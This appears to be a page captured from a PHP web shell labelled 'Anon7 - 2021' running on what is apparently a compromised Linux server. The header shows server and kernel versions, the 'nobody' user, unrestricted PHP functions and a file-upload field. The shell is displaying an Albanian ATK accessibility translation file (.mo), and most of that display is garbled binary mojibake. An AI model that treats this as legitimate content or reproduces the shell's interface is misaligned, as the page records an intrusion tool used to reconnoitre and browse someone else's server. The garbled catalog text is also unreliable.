.

KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory : /usr/share/locale/sq/LC_MESSAGES/
Upload File :
Current File : //usr/share/locale/sq/LC_MESSAGES/atk10.mo
Þ•{ô§Ìh
i
€
‘
¦
¶
È
Ø
ñ
#5 Tu‘ªC»	ÿ-	47Žl?û:;
<v
7³
4ë
, $Mr@„
Å5Ó	'#="a(„=6ë*"M_	eo{Ž—ž¦	¬¶
Æ
Ô	â
ì
÷-<IRekx‹’
˜£ª²ÁÆÌÛãéö	û
	).
7E	K
U
cn{‡”¤	µ
¿
ÊÕá	éóú
	
!,@Qdm
r€‰’
—¢ª³aº3Jat‡˜+´0à-/?,o$œÁ_Õ50G?x©¸ObK²NþJMD˜.Ý'4dO´,Æó''/"W+z>¦-å-A
[	i
s	~ˆ	œ¦»ÂÊÚú!2DW	hr‚•¬ÄÙñõ&,4HMTfmu
Š˜ ¶
¼ÊÑãò

29BYn“Ÿ·È×çü    - ? U i q } › ¸ Õ Þ ä ó !	!!
0!;!K!!ZV(PznsoD^Crj=w)mTtIGd/;{
6<45v`Rb$1c	FfEW+
a 8@S3X.&-Q:7gq2ly]Yi0J#UNx?pA\*>e[hL"_BM%H'k9KOu,Accessible DescriptionAccessible LayerAccessible MDI ValueAccessible NameAccessible ParentAccessible RoleAccessible Table CaptionAccessible Table Caption ObjectAccessible Table Column DescriptionAccessible Table Column HeaderAccessible Table Row DescriptionAccessible Table Row HeaderAccessible Table SummaryAccessible ValueDescription of an object, formatted for assistive technology accessEnd indexIs used to notify that the parent has changedIs used to notify that the table caption has changedIs used to notify that the table caption has changed; this property should not be used. accessible-table-caption-object should be used insteadIs used to notify that the table column description has changedIs used to notify that the table column header has changedIs used to notify that the table row description has changedIs used to notify that the table row header has changedIs used to notify that the table summary has changedIs used to notify that the value has changedNumber of Accessible Hypertext LinksNumber of AnchorsObject instance's name formatted for assistive technology accessSelected LinkSpecifies whether the AtkHyperlink object is selectedStart indexThe accessible MDI value of this objectThe accessible layer of this objectThe accessible role of this objectThe end index of the AtkHyperlink objectThe number of anchors associated with the AtkHyperlink objectThe number of links which the current AtkHypertext hasThe start index of the AtkHyperlink objectaccelerator labelalertanimationapplicationarrowautocompletecalendarcanvascaptionchartcheck boxcheck menu itemcolor choosercolumn headercombo boxdateeditordesktop framedesktop icondialdialogdirectory panedocument framedrawing areaedit barembedded componententryfile chooserfillerfontchooserfooterframeglass paneheaderheadinghtml containericonimageinternal frameinvalidlabellayered panelistlist itemmenumenu barmenu itemoption panepagepage tabpage tab listpanelparagraphpassword textpopup menuprogress barpush buttonradio buttonradio menu itemredundant objectroot panerow headerscroll barscroll panesectionseparatorsliderspin buttonsplit panestatusbartabletable celltable column headertable row headertear off menu itemterminaltexttoggle buttontool bartool tiptreetree tableunknownviewportwindowProject-Id-Version: atk.HEAD
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2006-08-21 20:28+0100
PO-Revision-Date: 2005-11-19 12:16+0100
Last-Translator: Laurent Dhima <laurenti@alblinux.net>
Language-Team: Albanian <gnome-albanian-perkthyesit@lists.sourceforge.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
PÃ«rshkrim i thjeshtÃ«Paraqitje e thjeshtuarVlera MDI e thjeshtuarEmÃ«r i thjeshtuarPrind i thjeshtuarRol i thjeshtuarSeksion i thjeshtuar tabeleObjekt i thjeshtuar i titullit tÃ« tabelÃ«sPÃ«rshkrim i thjeshtuar i kollonÃ«s sÃ« tabelÃ«sTitulli i thjeshtuar i kollonÃ«s sÃ« tabelÃ«sPÃ«rshkrim i thjeshtuar i rreshtit tÃ« tabelÃ«sTitulli i thjeshtuar i rreshtit tÃ« tabelÃ«sPÃ«rmbledhje e thjeshtuar e tabelÃ«sVlerÃ« e thjeshtuarPÃ«rshkrimi i njÃ« objekti, formatuar pÃ«r tÃ« qenÃ« i pranueshÃ«m nga teknollogjitÃ« asistueseFundi i treguesitPÃ«rdoret pÃ«r tÃ« njoftuar ndryshimet e prinditPÃ«rdoret pÃ«r tÃ« njoftuar kur titulli i tabelÃ«s ka ndryshuarPÃ«rdoret pÃ«r tÃ« njoftuar kur seksioni i tabelÃ«s Ã«shtÃ« ndryshuar; kjo pronÃ«si nuk duhet pÃ«rdorur. NÃ« vend tÃ« saj duhet pÃ«rdorur accessible-table-caption-objectPÃ«rdoret pÃ«r tÃ« njoftuar kur pÃ«rshkrimi i kollonÃ«s sÃ« tabelÃ«s ndryshohetPÃ«rdoret pÃ«r tÃ« njoftuar kur titulli i kollonÃ«s sÃ« tabelÃ«s ndryshohetPÃ«rdoret pÃ«r tÃ« njoftuar kur pÃ«rshkrimi i rreshtit tÃ« tabelÃ«s ndryshohetPÃ«rdoret pÃ«r tÃ« njoftuar kur titulli i rreshtit tÃ« tabelÃ«s ndryshohetPÃ«rdoret pÃ«r tÃ« njoftuar kur pÃ«rmbledhja e tabelÃ«s ka ndryshuarPÃ«rdoret pÃ«r tÃ« njoftuar kur vlera ndryshonNumri i lidhjeve tÃ« thjeshta hypertextNumri i pikave tÃ« lidhjesemri i instancÃ«s sÃ« objektit i formatuar pÃ«r tÃ« qenÃ« i pranueshÃ«m nga teknollogjitÃ« asistueseLidhja e zgjedhurSpecifikon zgjedhjen e objektit AtkHyperlinkFillimi i treguesitVlera e thjeshtuar MDI e kÃ«tij objektiParaqitja e thjeshtuar e kÃ«tij objektiRoli i thjeshtuar i kÃ«tij objektiFundi i treguesit tÃ« objektit AtkHyperlinkNumri i pikave tÃ« lidhjes shoqÃ«ruar me objektin AtkHyperlinkNumri i lidhjeve qÃ« ka AtkHypertext-i aktualFillimi i treguesit tÃ« objektit AtkHyperlinketiketa e pÃ«rshpejtuesitparalajmÃ«rimanimacionaplikativishigjetÃ«plotÃ«sim automatikkalendarisipÃ«rfaqja e punÃ«stitulltabelÃ«kuti zgjedhjejeelement i menusÃ« sÃ« zgjedhjeszgjedhÃ«si i ngjyravekreu i kollonÃ«skuti e kombinuarndryshuesi datÃ«skornizÃ« desktop-iikonÃ« desktop-itelefonimdritare dialogupaneli i directorystruktura e dokumentitsipÃ«rfaqja e vizatimitshtylla e ndryshimitkomponent i pÃ«rfshirÃ«zÃ«zgjedhÃ«si i filembushÃ«szgjedhÃ«si i gÃ«rmavefundikornizapanel i tejdukshÃ«mkreutitullpÃ«rmbajtÃ«s htmlikonÃ«figurÃ«kornizÃ« e brendshmei pavlefshÃ«metiketapanel tre dimensionallistaelement listemenujashtylla e menusÃ«element menujepaneli i opcionevefaqeskeda e faqeslista e skedave tÃ« faqespaneliparagrafteksti i fjalÃ«kalimitmenu e shpalosÃ«shmeshtylla e ecurisÃ«pulsant shtypjejebuton radioelement i menusÃ« radioobjekt i tepÃ«rtpaneli kryesorkreu i rreshtitshtylla rrÃ«shkitjespaneli rrÃ«shkitjesseksionveÃ§uesrrÃ«shkitÃ«spulsanti shtyrÃ«spanel i shkÃ«putshÃ«mshtylla e gjÃ«ndjestabelÃ«qeli tabelekreu i kollonÃ«s sÃ« tabelÃ«skreu i rreshtit tÃ« tabelÃ«sshkÃ«put elementin e menusÃ«terminaltekstpulsant kthimishtylla e veglaveinstruksionedegÃ«zimitabela e degÃ«zimitnuk njihetpikÃ«vÃ«shtrimidritare
Anon7 - 2021